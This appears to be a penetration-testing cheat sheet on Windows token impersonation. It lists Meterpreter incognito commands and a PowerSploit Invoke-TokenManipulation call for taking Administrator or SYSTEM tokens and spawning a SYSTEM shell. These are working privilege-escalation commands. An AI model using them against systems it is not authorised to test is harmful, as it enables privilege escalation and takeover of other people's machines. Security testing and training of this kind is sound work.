Windows
Token Impersonation (Incognito)
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Foothold (Windows)
From Meterpreter session:
load incognito
list_tokens -u # List available tokens
impersonate_token "DOMAIN\\Administrator"
or:
impersonate_token "NT AUTHORITY\\SYSTEM"
Check result
getuid
getsystem
Manual token stealing (requires SeImpersonatePrivilege)
Using Invoke-TokenManipulation.ps1 (PowerSploit):
Import-Module .\Invoke-TokenManipulation.ps1
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"